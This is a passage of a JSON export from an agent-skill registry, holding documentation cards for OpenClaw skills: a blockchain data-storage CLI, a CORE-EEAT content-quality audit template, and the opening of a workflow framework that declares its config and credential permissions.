combined.\n\n---\n\n## Your Human Can Ask Anytime\n\nYour human can prompt you to:\n- \"What skills are popular on ClawdTM?\"\n- \"Leave a review for the web-search skill\"\n- \"Check what other agents recommend\"\n- \"Show me skills with high ratings\"\n- \"What do bot reviews say about this skill?\"\n\n---\n\n## Ideas to Try\n\n- Review skills you've actually used\n- Leave detailed reviews explaining why a skill is good (or not)\n- Check what other agents recommend\n- Compare human vs bot opinions\n- Help your human discover useful skills based on community feedback\n\n---\n\n## Questions?\n\nVisit https://clawdtm.com or join the community at https://discord.gg/eTtG4rhbp6\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/0xmythril/clawdtm/skill.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/0xmythril/clawdtm/skill.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/0xmythril/clawdtm/skill.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/0xmythril/clawdtm/skill.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/0xmythril/clawdtm/skill.md", "importedAt": "2026-02-18T19:24:20.681Z"}}}}, {"slug": "clawhub-ercdata", "name": "ERCData", "category": "Security", "description": "Store and verify AI-related data on Base mainnet. Public or private, with cryptographic integrity proofs.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "ERCData", "slug": "clawhub-ercdata", "version": "1.0.0", "description": "--- name: ercdata description: Store, verify, and manage AI data on the Ethereum blockchain (Base network) using the ERCData standard. Use when an agent needs to store data fingerprints on-chain, verify data integrity, create audit trails, manage access control for private data, or interact with the ERCData smart contract. Supports public and private storage, EIP-712 verification, snapshots, and batch operations. ---", "documentation_md": "---\nname: ercdata\ndescription: Store, verify, and manage AI data on the Ethereum blockchain (Base network) using the ERCData standard. Use when an agent needs to store data fingerprints on-chain, verify data integrity, create audit trails, manage access control for private data, or interact with the ERCData smart contract. Supports public and private storage, EIP-712 verification, snapshots, and batch operations.\n---\n\n# ERCData\n\nStore and verify AI-related data on Base mainnet. Public or private, with cryptographic integrity proofs.\n\n## Quick Start\n\n```bash\n# Store public data\nuv run {baseDir}/scripts/ercdata-cli.py store \\\n --type AI_AGENT_MEMORY \\\n --data \"memory hash: abc123\" \\\n --metadata '{\"agent\":\"MyBot\",\"ts\":\"2026-01-31\"}' \\\n --key $ERCDATA_KEY --contract $ERCDATA_CONTRACT\n\n# Store private data (only you + granted addresses can read)\nuv run {baseDir}/scripts/ercdata-cli.py store \\\n --type AI_AGENT_MEMORY \\\n --data \"secret memory data\" \\\n --private \\\n --key $ERCDATA_KEY --contract $ERCDATA_CONTRACT\n\n# Read entry\nuv run {baseDir}/scripts/ercdata-cli.py read --id 1 --key $ERCDATA_KEY --contract $ERCDATA_CONTRACT\n\n# Verify entry (EIP-712 signature check)\nuv run {baseDir}/scripts/ercdata-cli.py verify --id 1 --method eip712 --key $ERCDATA_KEY --contract $ERCDATA_CONTRACT\n\n# Grant access to private entry\nuv run {baseDir}/scripts/ercdata-cli.py grant-access --id 2 --to 0xSomeAddress --key $ERCDATA_KEY --contract $ERCDATA_CONTRACT\n```\n\n## Configuration\n\nSet via environment or skill config:\n- `ERCDATA_KEY` \u2014 Private key for signing transactions (required for writes)\n- `ERCDATA_CONTRACT` \u2014 Contract address on Base mainnet\n- `ERCDATA_RPC` \u2014 RPC URL (default: https://mainnet.base.org)\n\nOr pass via `--key`, `--contract`, `--rpc` flags.\n\n## Commands\n\n| Command | What it does |\n|---------|-------------|\n| `store` | Store data on-chain (add `--private` for access control) |\n| `read` | Read a data entry by ID |\n| `verify` | Verify data integrity (eip712 or hash method) |\n| `grant-access` | Grant read access to an address (private entries) |\n| `revoke-access` | Revoke read access |\n| `register-type` | Register a new data type (admin only) |\n| `snapshot` | Create a point-in-time snapshot |\n| `info` | Get entry info without full data |\n\n## Privacy Model\n\n- **Public (default):** Anyone can read via `getData()`. Use for transparency, audit trails.\n- **Private (`--private`):** Only the provider, granted addresses, and admin can read. Use for sensitive agent data.\n\nPrivate entries store the same data on-chain but gate `getData()` access. Note: raw transaction calldata is still visible on-chain explorers. For maximum privacy, encrypt data before storing.\n\n## Use Cases for AI Agents\n\n1. **Memory attestation** \u2014 Hash your MEMORY.md and store it periodically for tamper-proof audit trail\n2. **Agent identity** \u2014 Store model fingerprint, system prompt hash, config on-chain\n3. **Verifiable outputs** \u2014 Hash agent outputs and store for later verification\n4. **Agent-to-agent trust** \u2014 Check another agent's ERCData entries before trusting its data\n5. **Model provenance** \u2014 Store model hashes, benchmark scores, architecture metadata\n\n## API Reference\n\nSee [references/api.md](references/api.md) for full contract API, roles, events, and limits.\n\n## Requirements\n\n- Python 3.10+ with `web3` and `eth-account` packages (auto-installed by uv)\n- A funded wallet on Base mainnet (ETH for gas)\n- PROVIDER_ROLE granted by contract admin for storing data\n- VERIFIER_ROLE granted for verification operations\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/0xreisearch/ercdata/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/0xreisearch/ercdata/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/0xreisearch/ercdata/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/0xreisearch/ercdata/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/0xreisearch/ercdata/SKILL.md", "importedAt": "2026-02-18T19:24:20.699Z"}}}}, {"slug": "clawhub-content-quality-auditor", "name": "Content Quality Auditor", "category": "Security", "description": "Based on CORE-EEAT Content Benchmark. Full benchmark reference: references/core-eeat-benchmark.md", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Content Quality Auditor", "slug": "clawhub-content-quality-auditor", "version": "1.0.0", "description": "--- name: content-quality-auditor description: 'Use when the user asks to \"audit content quality\", \"EEAT score\", \"content quality check\", \"CORE-EEAT audit\", \"how good is my content\", \"is my content good enough to rank\", \"EEAT check\", or \"rate my content quality\". Runs a full CORE-EEAT 80-item content quality audit, scoring content across 8 dimensions with weighted scoring by content type. Produces a detailed report with per-item scores, dimension analysis, and a prioritized action plan. For SEO-specific page checks, see on-page-seo-auditor. For domain-level assessment, see domain-authority-auditor.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"high\" tags: - seo - geo - content audit - eeat - content quality - content scoring - quality assessment - expertise - authority - trust triggers: - \"audit content quality\" - \"EEAT score\" - \"content quality check\" - \"CORE-EEAT audit\" - \"how good is my content\" - \"content assessment\" - \"quality score\" - \"is my content good enough to rank\" - \"EEAT check\" - \"rate my content quality\" ---", "documentation_md": "---\nname: content-quality-auditor\ndescription: 'Use when the user asks to \"audit content quality\", \"EEAT score\", \"content quality check\", \"CORE-EEAT audit\", \"how good is my content\", \"is my content good enough to rank\", \"EEAT check\", or \"rate my content quality\". Runs a full CORE-EEAT 80-item content quality audit, scoring content across 8 dimensions with weighted scoring by content type. Produces a detailed report with per-item scores, dimension analysis, and a prioritized action plan. For SEO-specific page checks, see on-page-seo-auditor. For domain-level assessment, see domain-authority-auditor.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"high\"\n tags:\n - seo\n - geo\n - content audit\n - eeat\n - content quality\n - content scoring\n - quality assessment\n - expertise\n - authority\n - trust\n triggers:\n - \"audit content quality\"\n - \"EEAT score\"\n - \"content quality check\"\n - \"CORE-EEAT audit\"\n - \"how good is my content\"\n - \"content assessment\"\n - \"quality score\"\n - \"is my content good enough to rank\"\n - \"EEAT check\"\n - \"rate my content quality\"\n---\n\n# Content Quality Auditor\n\n> Based on [CORE-EEAT Content Benchmark](https://github.com/aaron-he-zhu/core-eeat-content-benchmark). Full benchmark reference: [references/core-eeat-benchmark.md](../../references/core-eeat-benchmark.md)\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../../research/keyword-research/) \u00b7 [competitor-analysis](../../research/competitor-analysis/) \u00b7 [serp-analysis](../../research/serp-analysis/) \u00b7 [content-gap-analysis](../../research/content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../../optimize/on-page-seo-auditor/) \u00b7 [technical-seo-checker](../../optimize/technical-seo-checker/) \u00b7 [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u00b7 [content-refresher](../../optimize/content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 **content-quality-auditor** \u00b7 [domain-authority-auditor](../domain-authority-auditor/) \u00b7 [entity-optimizer](../entity-optimizer/) \u00b7 [memory-management](../memory-management/)\n\n</details>\n\nThis skill evaluates content quality across 80 standardized criteria organized in 8 dimensions. It produces a comprehensive audit report with per-item scoring, dimension and system scores, weighted totals by content type, and a prioritized action plan.\n\n## When to Use This Skill\n\n- Auditing content quality before publishing\n- Evaluating existing content for improvement opportunities\n- Benchmarking content against CORE-EEAT standards\n- Comparing content quality against competitors\n- Assessing both GEO readiness (AI citation potential) and SEO strength (source credibility)\n- Running periodic content quality checks as part of a content maintenance program\n- After writing or optimizing content with seo-content-writer or geo-content-optimizer\n\n## What This Skill Does\n\n1. **Full 80-Item Audit**: Scores every CORE-EEAT check item as Pass/Partial/Fail\n2. **Dimension Scoring**: Calculates scores for all 8 dimensions (0-100 each)\n3. **System Scoring**: Computes GEO Score (CORE) and SEO Score (EEAT)\n4. **Weighted Totals**: Applies content-type-specific weights for final score\n5. **Veto Detection**: Flags critical trust violations (T04, C01, R10)\n6. **Priority Ranking**: Identifies Top 5 improvements sorted by impact\n7. **Action Plan**: Generates specific, actionable improvement steps\n\n## How to Use\n\n### Audit Content\n\n```\nAudit this content against CORE-EEAT: [content text or URL]\n```\n\n```\nRun a content quality audit on [URL] as a [content type]\n```\n\n### Audit with Content Type\n\n```\nCORE-EEAT audit for this product review: [content]\n```\n\n```\nScore this how-to guide against the 80-item benchmark: [content]\n```\n\n### Comparative Audit\n\n```\nAudit my content vs competitor: [your content] vs [competitor content]\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~web crawler + ~~SEO tool connected:**\nAutomatically fetch page content, extract HTML structure, check schema markup, verify internal/external links, and pull competitor content for comparison.\n\n**With manual data only:**\nAsk the user to provide:\n1. Content text, URL, or file path\n2. Content type (if not auto-detectable): Product Review, How-to Guide, Comparison, Landing Page, Blog Post, FAQ Page, Alternative, Best-of, or Testimonial\n3. Optional: competitor content for benchmarking\n\nProceed with the full 80-item audit using provided data. Note in the output which items could not be fully evaluated due to missing access (e.g., backlink data, schema markup, site-level signals).\n\n## Instructions\n\nWhen a user requests a content quality audit:\n\n### Step 1: Preparation\n\n```markdown\n### Audit Setup\n\n**Content**: [title or URL]\n**Content Type**: [auto-detected or user-specified]\n**Dimension Weights**: [loaded from content-type weight table]\n\n#### Veto Check (Emergency Brake)\n\n| Veto Item | Status | Action |\n|-----------|--------|--------|\n| T04: Disclosure Statements | \u2705 Pass / \u26a0\ufe0f VETO | [If VETO: \"Add disclosure banner at page top immediately\"] |\n| C01: Intent Alignment | \u2705 Pass / \u26a0\ufe0f VETO | [If VETO: \"Rewrite title and first paragraph\"] |\n| R10: Content Consistency | \u2705 Pass / \u26a0\ufe0f VETO | [If VETO: \"Verify all data before publishing\"] |\n```\n\nIf any veto item triggers, flag it prominently at the top of the report and recommend immediate action before continuing the full audit.\n\n### Step 2: CORE Audit (40 items)\n\nEvaluate each item against the criteria in [references/core-eeat-benchmark.md](../../references/core-eeat-benchmark.md).\n\nScore each item:\n- **Pass** = 10 points (fully meets criteria)\n- **Partial** = 5 points (partially meets criteria)\n- **Fail** = 0 points (does not meet criteria)\n\n```markdown\n### C \u2014 Contextual Clarity\n\n| ID | Check Item | Score | Notes |\n|----|-----------|-------|-------|\n| C01 | Intent Alignment | Pass/Partial/Fail | [specific observation] |\n| C02 | Direct Answer | Pass/Partial/Fail | [specific observation] |\n| ... | ... | ... | ... |\n| C10 | Semantic Closure | Pass/Partial/Fail | [specific observation] |\n\n**C Score**: [X]/100\n\n### O \u2014 Organization\n\n| ID | Check Item | Score | Notes |\n|----|-----------|-------|-------|\n| O01 | Heading Hierarchy | Pass/Partial/Fail | [specific observation] |\n| ... | ... | ... | ... |\n\n**O Score**: [X]/100\n\n### R \u2014 Referenceability\n\n[Same format]\n\n**R Score**: [X]/100\n\n### E \u2014 Exclusivity\n\n[Same format]\n\n**E Score**: [X]/100\n```\n\n### Step 3: EEAT Audit (40 items)\n\nSame format for Exp, Ept, A, T dimensions.\n\n```markdown\n### Exp \u2014 Experience\n\n| ID | Check Item | Score | Notes |\n|----|-----------|-------|-------|\n| Exp01 | First-Person Narrative | Pass/Partial/Fail | [specific observation] |\n| ... | ... | ... | ... |\n\n**Exp Score**: [X]/100\n\n### Ept \u2014 Expertise\n[Same format]\n\n### A \u2014 Authority\n[Same format]\n\n### T \u2014 Trust\n[Same format]\n```\n\n#### Complete Item Reference\n\n| ID | Item | ID | Item |\n|----|------|----|------|\n| C01 | Intent Alignment | Exp01 | First-Person Narrative |\n| C02 | Direct Answer | Exp02 | Sensory Details |\n| C03 | Query Coverage | Exp03 | Process Documentation |\n| C04 | Definition First | Exp04 | Tangible Proof |\n| C05 | Topic Scope | Exp05 | Usage Duration |\n| C06 | Audience Targeting | Exp06 | Problems Encountered |\n| C07 | Semantic Coherence | Exp07 | Before/After Comparison |\n| C08 | Use Case Mapping | Exp08 | Quantified Metrics |\n| C09 | FAQ Coverage | Exp09 | Repeated Testing |\n| C10 | Semantic Closure | Exp10 | Limitations Acknowledged |\n| O01 | Heading Hierarchy | Ept01 | Author Identity |\n| O02 | Summary Box | Ept02 | Credentials Display |\n| O03 | Data Tables | Ept03 | Professional Vocabulary |\n| O04 | List Formatting | Ept04 | Technical Depth |\n| O05 | Schema Markup | Ept05 | Methodology Rigor |\n| O06 | Section Chunking | Ept06 | Edge Case Awareness |\n| O07 | Visual Hierarchy | Ept07 | Historical Context |\n| O08 | Anchor Navigation | Ept08 | Reasoning Transparency |\n| O09 | Information Density | Ept09 | Cross-domain Integration |\n| O10 | Multimedia Structure | Ept10 | Editorial Process |\n| R01 | Data Precision | A01 | Backlink Profile |\n| R02 | Citation Density | A02 | Media Mentions |\n| R03 | Source Hierarchy | A03 | Industry Awards |\n| R04 | Evidence-Claim Mapping | A04 | Publishing Record |\n| R05 | Methodology Transparency | A05 | Brand Recognition |\n| R06 | Timestamp & Versioning | A06 | Social Proof |\n| R07 | Entity Precision | A07 | Knowledge Graph Presence |\n| R08 | Internal Link Graph | A08 | Entity Consistency |\n| R09 | HTML Semantics | A09 | Partnership Signals |\n| R10 | Content Consistency | A10 | Community Standing |\n| E01 | Original Data | T01 | Legal Compliance |\n| E02 | Novel Framework | T02 | Contact Transparency |\n| E03 | Primary Research | T03 | Security Standards |\n| E04 | Contrarian View | T04 | Disclosure Statements |\n| E05 | Proprietary Visuals | T05 | Editorial Policy |\n| E06 | Gap Filling | T06 | Correction & Update Policy |\n| E07 | Practical Tools | T07 | Ad Experience |\n| E08 | Depth Advantage | T08 | Risk Disclaimers |\n| E09 | Synthesis Value | T09 | Review Authenticity |\n| E10 | Forward Insights | T10 | Customer Support |\n\n**Note on site-level items**: Most Authority items (A01-A10) and several Trust items (T01-T03, T05, T07, T10) require site-level or organization-level data that may not be observable from a single page. When auditing a standalone page without site context, mark these as \"N/A \u2014 requires site-level data\" and exclude from the dimension average.\n\n### Step 4: Scoring & Report\n\nCalculate scores and generate the final report:\n\n```markdown\n## CORE-EEAT Audit Report\n\n### Overview\n\n- **Content**: [title]\n- **Content Type**: [type]\n- **Audit Date**: [date]\n- **Total Score**: [score]/100 ([rating])\n- **GEO Score**: [score]/100 | **SEO Score**: [score]/100\n- **Veto Status**: \u2705 No triggers / \u26a0\ufe0f [item] triggered\n\n### Dimension Scores\n\n| Dimension | Score | Rating | Weight | Weighted |\n|-----------|-------|--------|--------|----------|\n| C \u2014 Contextual Clarity | [X]/100 | [rating] | [X]% | [X] |\n| O \u2014 Organization | [X]/100 | [rating] | [X]% | [X] |\n| R \u2014 Referenceability | [X]/100 | [rating] | [X]% | [X] |\n| E \u2014 Exclusivity | [X]/100 | [rating] | [X]% | [X] |\n| Exp \u2014 Experience | [X]/100 | [rating] | [X]% | [X] |\n| Ept \u2014 Expertise | [X]/100 | [rating] | [X]% | [X] |\n| A \u2014 Authority | [X]/100 | [rating] | [X]% | [X] |\n| T \u2014 Trust | [X]/100 | [rating] | [X]% | [X] |\n| **Weighted Total** | | | | **[X]/100** |\n\n**Score Calculation**:\n- GEO Score = (C + O + R + E) / 4\n- SEO Score = (Exp + Ept + A + T) / 4\n- Weighted Score = \u03a3 (dimension_score \u00d7 content_type_weight)\n\n**Rating Scale**: 90-100 Excellent | 75-89 Good | 60-74 Medium | 40-59 Low | 0-39 Poor\n\n### N/A Item Handling\n\nWhen an item cannot be evaluated (e.g., A01 Backlink Profile requires site-level data not available):\n\n1. Mark the item as \"N/A\" with reason\n2. Exclude N/A items from the dimension score calculation\n3. Dimension Score = (sum of scored items) / (number of scored items x 10) x 100\n4. If more than 50% of a dimension's items are N/A, flag the dimension as \"Insufficient Data\" and exclude it from the weighted total\n5. Recalculate weighted total using only dimensions with sufficient data, re-normalizing weights to sum to 100%\n\n**Example**: Authority dimension with 8 N/A items and 2 scored items (A05=8, A07=5):\n- Dimension score = (8+5) / (2 x 10) x 100 = 65\n- But 8/10 items are N/A (>50%), so flag as \"Insufficient Data -- Authority\"\n- Exclude A dimension from weighted total; redistribute its weight proportionally to remaining dimensions\n\n### Per-Item Scores\n\n#### CORE \u2014 Content Body (40 Items)\n\n| ID | Check Item | Score | Notes |\n|----|-----------|-------|-------|\n| C01 | Intent Alignment | [Pass/Partial/Fail] | [observation] |\n| C02 | Direct Answer | [Pass/Partial/Fail] | [observation] |\n| ... | ... | ... | ... |\n\n#### EEAT \u2014 Source Credibility (40 Items)\n\n| ID | Check Item | Score | Notes |\n|----|-----------|-------|-------|\n| Exp01 | First-Person Narrative | [Pass/Partial/Fail] | [observation] |\n| ... | ... | ... | ... |\n\n### Top 5 Priority Improvements\n\nSorted by: weight \u00d7 points lost (highest impact first)\n\n1. **[ID] [Name]** \u2014 [specific modification suggestion]\n - Current: [Fail/Partial] | Potential gain: [X] weighted points\n - Action: [concrete step]\n\n2. **[ID] [Name]** \u2014 [specific modification suggestion]\n - Current: [Fail/Partial] | Potential gain: [X] weighted points\n - Action: [concrete step]\n\n3\u20135. [Same format]\n\n### Action Plan\n\n#### Quick Wins (< 30 minutes each)\n- [ ] [Action 1]\n- [ ] [Action 2]\n\n#### Medium Effort (1-2 hours)\n- [ ] [Action 3]\n- [ ] [Action 4]\n\n#### Strategic (Requires planning)\n- [ ] [Action 5]\n- [ ] [Action 6]\n\n### Recommended Next Steps\n\n- For full content rewrite: use [seo-content-writer](../../build/seo-content-writer/) with CORE-EEAT constraints\n- For GEO optimization: use [geo-content-optimizer](../../build/geo-content-optimizer/) targeting failed GEO-First items\n- For content refresh: use [content-refresher](../../optimize/content-refresher/) with weak dimensions as focus\n- For technical fixes: run `/seo:check-technical` for site-level issues\n```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Content source identified (text, URL, or file path)\n- [ ] Content type confirmed (auto-detected or user-specified)\n- [ ] Content is substantial enough for meaningful audit (\u2265300 words)\n- [ ] If comparative audit, competitor content also provided\n\n### Output Validation\n- [ ] All 80 items scored (or marked N/A with reason)\n- [ ] All 8 dimension scores calculated correctly\n- [ ] Weighted total matches content-type weight configuration\n- [ ] Veto items checked and flagged if triggered\n- [ ] Top 5 improvements sorted by weighted impact, not arbitrary\n- [ ] Every recommendation is specific and actionable (not generic advice)\n- [ ] Action plan includes concrete steps with effort estimates\n\n## Example\n\n**User**: \"Audit this blog post against CORE-EEAT: [paste of 'Best Project Management Tools for Remote Teams 2025']\"\n\n**Output** (partial -- showing one dimension to demonstrate format):\n\n```markdown\n## CORE-EEAT Audit Report\n\n### Overview\n\n- **Content**: \"Best Project Management Tools for Remote Teams 2025\"\n- **Content Type**: Blog Post / Comparison\n- **Audit Date**: 2025-06-15\n- **Veto Status**: No triggers\n\n### C -- Contextual Clarity (scored dimension example)\n\n| ID | Check Item | Score | Points | Notes |\n|-----|--------------------|---------|--------|-------------------------------------------------------------|\n| C01 | Intent Alignment | Pass | 10 | Matches \"best X\" comparison intent; title and body aligned |\n| C02 | Direct Answer | Partial | 5 | Answer appears in first 300 words but no summary box |\n| C03 | Query Coverage | Pass | 10 | Covers \"project management tools\", \"remote team software\", \"best PM tools\" |\n| C04 | Definition First | Pass | 10 | Key terms (\"PM tool\", \"async collaboration\") defined on first use |\n| C05 | Topic Scope | Partial | 5 | States what's covered but not what's excluded |\n| C06 | Audience Targeting | Pass | 10 | Explicitly targets \"remote team leads and managers\" |\n| C07 | Semantic Coherence | Pass | 10 | Logical flow: intro > criteria > tools > comparison > verdict |\n| C08 | Use Case Mapping | Pass | 10 | Decision matrix for team size, budget, and features |\n| C09 | FAQ Coverage | Fail | 0 | No FAQ section despite long-tail potential (\"free PM tools for small teams\") |\n| C10 | Semantic Closure | Partial | 5 | Conclusion present but doesn't loop back to opening promise |\n\n**C Dimension Score**: 75/100 (Good)\n**Blog Post weight for C**: 25%\n**Weighted contribution**: 18.75\n\n#### Priority Improvements from C Dimension\n\n1. **C09 FAQ Coverage** -- Add FAQ section with 3-5 long-tail questions\n - Current: Fail (0) | Potential gain: 2.5 weighted points\n - Action: Add FAQ with \"Are there free PM tools for small remote teams?\", \"How to migrate between PM tools?\", etc.\n\n2. **C02 Direct Answer** -- Add a summary box above the fold\n - Current: Partial (5) | Potential gain: 1.25 weighted points\n - Action: Insert a \"Top 3 Picks\" callout box in the first 150 words\n\n[... remaining 7 dimensions (O, R, E, Exp, Ept, A, T) follow the same per-item format ...]\n[... then: Dimension Scores table, Top 5 Priority Improvements, Action Plan, Recommended Next Steps ...]\n```\n\n## Tips for Success\n\n1. **Start with veto items** \u2014 T04, C01, R10 are deal-breakers regardless of total score\n > These veto items are consistent with the CORE-EEAT benchmark (Section 3), which defines them as items that can override the overall score.\n2. **Focus on high-weight dimensions** \u2014 Different content types prioritize different dimensions\n3. **GEO-First items matter most for AI visibility** \u2014 Prioritize items tagged GEO \ud83c\udfaf if AI citation is the goal\n4. **Some EEAT items need site-level data** \u2014 Don't penalize content for things only observable at the site level (backlinks, brand recognition)\n5. **Use the weighted score, not just the raw average** \u2014 A product review with strong Exclusivity matters more than strong Authority\n6. **Re-audit after improvements** \u2014 Run again to verify score improvements and catch regressions\n7. **Pair with CITE for domain-level context** \u2014 A high content score on a low-authority domain signals a different priority than the reverse; run [domain-authority-auditor](../domain-authority-auditor/) for the full 120-item picture\n\n## Reference Materials\n\n- [CORE-EEAT Content Benchmark](../../references/core-eeat-benchmark.md) \u2014 Full 80-item benchmark with dimension definitions, scoring criteria, and GEO-First item markers\n\n## Related Skills\n\n- [domain-authority-auditor](../domain-authority-auditor/) \u2014 Domain-level CITE audit (40 items) \u2014 the sister skill for full 120-item assessment\n- [seo-content-writer](../../build/seo-content-writer/) \u2014 Write content that scores high on CORE dimensions\n- [geo-content-optimizer](../../build/geo-content-optimizer/) \u2014 Optimize for GEO-First items\n- [content-refresher](../../optimize/content-refresher/) \u2014 Update content to improve weak dimensions\n- [on-page-seo-auditor](../../optimize/on-page-seo-auditor/) \u2014 Technical on-page audit (complements this skill)\n- [technical-seo-checker](../../optimize/technical-seo-checker/) \u2014 Technical signals contributing to trust dimension\n- [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u2014 Linking quality signals for content audit\n- [memory-management](../memory-management/) \u2014 Store audit results for tracking over time\n- [entity-optimizer](../entity-optimizer/) \u2014 Entity presence audit across Knowledge Graph and AI systems\n- [performance-reporter](../../monitor/performance-reporter/) \u2014 Track content quality trends over time\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/content-quality-auditor/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/content-quality-auditor/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/content-quality-auditor/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/content-quality-auditor/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/content-quality-auditor/SKILL.md", "importedAt": "2026-02-18T19:24:20.988Z"}}}}, {"slug": "clawhub-soulflow", "name": "SoulFlow \u2014 Workflow Framework for OpenClaw", "category": "Security", "description": "A framework for building custom AI workflows. Each workflow is a series of steps that execute in isolated agent sessions with full tool access. Def...", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "SoulFlow \u2014 Workflow Framework for OpenClaw", "slug": "clawhub-soulflow", "version": "1.0.0", "description": "--- name: soulflow description: General-purpose AI workflow framework for OpenClaw. Build custom multi-step workflows for any task \u2014 dev, ops, research, content, or automation. Ships with dev workflow examples. homepage: https://github.com/0xtommythomas-dev/soulflow metadata: clawdbot: emoji: \"\u2699\ufe0f\" requires: bins: [\"node\"] config_files: - \"~/.openclaw/openclaw.json\" permissions: config: read: [\"~/.openclaw/openclaw.json\"] write: [\"~/.openclaw/openclaw.json\"] gateway: modify agents: create filesystem: read: [\"~/.openclaw/workspace\"] write: [\"~/.openclaw/workspace/.soulflow\", \"~/.openclaw/agents/soulflow-worker\"] credentials: inherit security_note: \"Creates a dedicated 'soulflow-worker' agent with full tool access (read, write, edit, exec, browser) to execute workflow steps. Reads gateway config (~/.openclaw/openclaw.json) for authentication token. Modifies gateway config to add/manage worker agent. Worker inherits authProfiles from existing agents (grants access to external services like GitHub, cloud providers). All operations run locally with your existing OpenClaw permissions. Only install if you trust the skill author and have reviewed the code.\" ---", "documentation_md": "---\nname: soulflow\ndescription: General-purpose AI workflow framework for OpenClaw. Build custom multi-step workflows for any task \u2014 dev, ops, research, content, or automation. Ships with dev workflow examples.\nhomepage: https://github.com/0xtommythomas-dev/soulflow\nmetadata: \n clawdbot:\n emoji: \"\u2699\ufe0f\"\n requires:\n bins: [\"node\"]\n config_files:\n - \"~/.openclaw/openclaw.json\"\n permissions:\n config: \n read: [\"~/.openclaw/openclaw.json\"]\n write: [\"~/.openclaw/openclaw.json\"]\n gateway: modify\n agents: create\n filesystem: \n read: [\"~/.openclaw/workspace\"]\n write: [\"~/.openclaw/workspace/.soulflow\", \"~/.openclaw/agents/soulflow-worker\"]\n credentials: inherit\n security_note: \"Creates a dedicated 'soulflow-worker' agent with full tool access (read, write, edit, exec, browser) to execute workflow steps. Reads gateway config (~/.openclaw/openclaw.json) for authentication token. Modifies gateway config to add/manage worker agent. Worker inherits authProfiles from existing agents (grants access to external services like GitHub, cloud providers). All operations run locally with your existing OpenClaw permissions. Only install if you trust the skill author and have reviewed the code.\"\n---\n\n# SoulFlow \u2014 Workflow Framework for OpenClaw\n\n**A framework for building custom AI workflows.** Each workflow is a series of steps that execute in isolated agent sessions with full tool access. Define your workflow in JSON, invoke it naturally, and let the agents handle the execution.\n\n**What you can build:**\n- Development pipelines (security audits, bug fixes, feature development)\n- Content workflows (research \u2192 draft \u2192 edit \u2192 publish)\n- Operations automation (deploy \u2192 verify \u2192 rollback-on-fail)\n- Research pipelines (gather \u2192 analyze \u2192 synthesize \u2192 report)\n- Any multi-step task that benefits from isolated, focused agent sessions\n\n**Ships with 3 example dev workflows** to show you how it works. Build your own for anything.\n\n## Quick Start\n\n**Natural language (easiest):**\nJust tell your agent what you need:\n- \"Run a security audit on my project at ~/myapp\"\n- \"Fix this bug: users can't login with Google OAuth in ~/webapp\"\n- \"Build a referral system for ~/webapp\"\n\nYour agent reads this SKILL.md and invokes SoulFlow automatically.\n\n**Command line:**\n```bash\ncd ~/.openclaw/workspace/soulflow\n\n# Run a security audit\nnode soulflow.js run security-audit \"Audit the codebase at ~/project for 